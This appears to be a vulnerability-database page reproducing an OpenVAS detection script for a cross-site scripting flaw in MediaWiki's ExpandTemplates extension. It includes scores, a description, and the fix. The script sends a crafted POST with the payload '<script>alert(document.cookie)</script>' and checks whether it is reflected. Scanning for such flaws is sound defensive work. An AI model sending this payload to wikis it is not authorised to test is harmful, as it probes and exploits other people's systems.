MediaWiki ExpandTemplates extension Multiple Vulnerabilities (Jan 2015)

2015-01-2300:00:00

plugins.openvas.org

9.6 High

AI Score

Confidence

High

5.1 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

HIGH

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:H/Au:N/C:P/I:P/A:P

0.002 Low

EPSS

Percentile

64.4%

JSON

The ExpandTemplates extension for MediaWiki is prone to multiple vulnerabilities.

# SPDX-FileCopyrightText: 2015 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:mediawiki:mediawiki";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.805327");
  script_version("2024-02-19T05:05:57+0000");
  script_cve_id("CVE-2014-9276", "CVE-2014-9478");
  script_tag(name:"cvss_base", value:"5.1");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:H/Au:N/C:P/I:P/A:P");
  script_tag(name:"last_modification", value:"2024-02-19 05:05:57 +0000 (Mon, 19 Feb 2024)");
  script_tag(name:"creation_date", value:"2015-01-23 12:37:41 +0530 (Fri, 23 Jan 2015)");
  script_name("MediaWiki ExpandTemplates extension Multiple Vulnerabilities (Jan 2015)");

  script_tag(name:"summary", value:"The ExpandTemplates extension for MediaWiki is prone to multiple vulnerabilities.");

  script_tag(name:"vuldetect", value:"Send a crafted HTTP POST request
  and check whether it is able to read cookie or not.");

  script_tag(name:"insight", value:"Multiple flaws exist when'$wgRawHtml' is set to true.

  - Input passed via 'wpInput' parameter in the script is not validated
     before returning it to users.");

  script_tag(name:"impact", value:"Successful exploitation will allow
  remote attacker to execute arbitrary script code in a user's browser
  session within the trust relationship between their browser and the server.");

  script_tag(name:"affected", value:"ExpandTemplates version before 1.24
  extension for MediaWiki.");

  script_tag(name:"solution", value:"Upgrade to ExpandTemplates version 1.24.1
  or later.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_xref(name:"URL", value:"https://phabricator.wikimedia.org/T773111");
  script_xref(name:"URL", value:"http://www.openwall.com/lists/oss-security/2015/01/03/13");
  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_analysis");
  script_copyright("Copyright (C) 2015 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "secpod_mediawiki_detect.nasl");
  script_mandatory_keys("mediawiki/installed");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if(!wikiPort = get_app_port(cpe:CPE)) exit(0);
if(!dir = get_app_location(cpe:CPE, port:wikiPort)) exit(0);

reqwiki = http_get(item:string(dir, "/index.php/Special:Version"), port:wikiPort);
reswiki = http_keepalive_send_recv(port:wikiPort, data:reqwiki);

if (reswiki =~">ExpandTemplates<") {

   host = http_host_name(port:wikiPort);

   postData = string('contexttitle=&input=<html><script>alert(document.cookie)</script>
                      </html>&removecomments=1&wpEditToken=+\\');
   url =dir+"/index.php/Special:ExpandTemplates";
   #Send Attack Request
   sndReq = string("POST ", url, " HTTP/1.1\r\n",
                   "Host: ", host, "\r\n",
                   "Referer: ", url, "\r\n",
                   "Content-Type: application/x-www-form-urlencoded\r\n",
                   "Content-Length: ", strlen(postData), "\r\n\r\n",
                   "\r\n", postData, "\r\n");

   rcvRes = http_keepalive_send_recv(port:wikiPort, data:sndReq);

   if (rcvRes =~ "HTTP/1\.. 200" && "<script>alert(document.cookie)</script>" >< rcvRes)
   {
    security_message(wikiPort);
    exit(0);
   }
}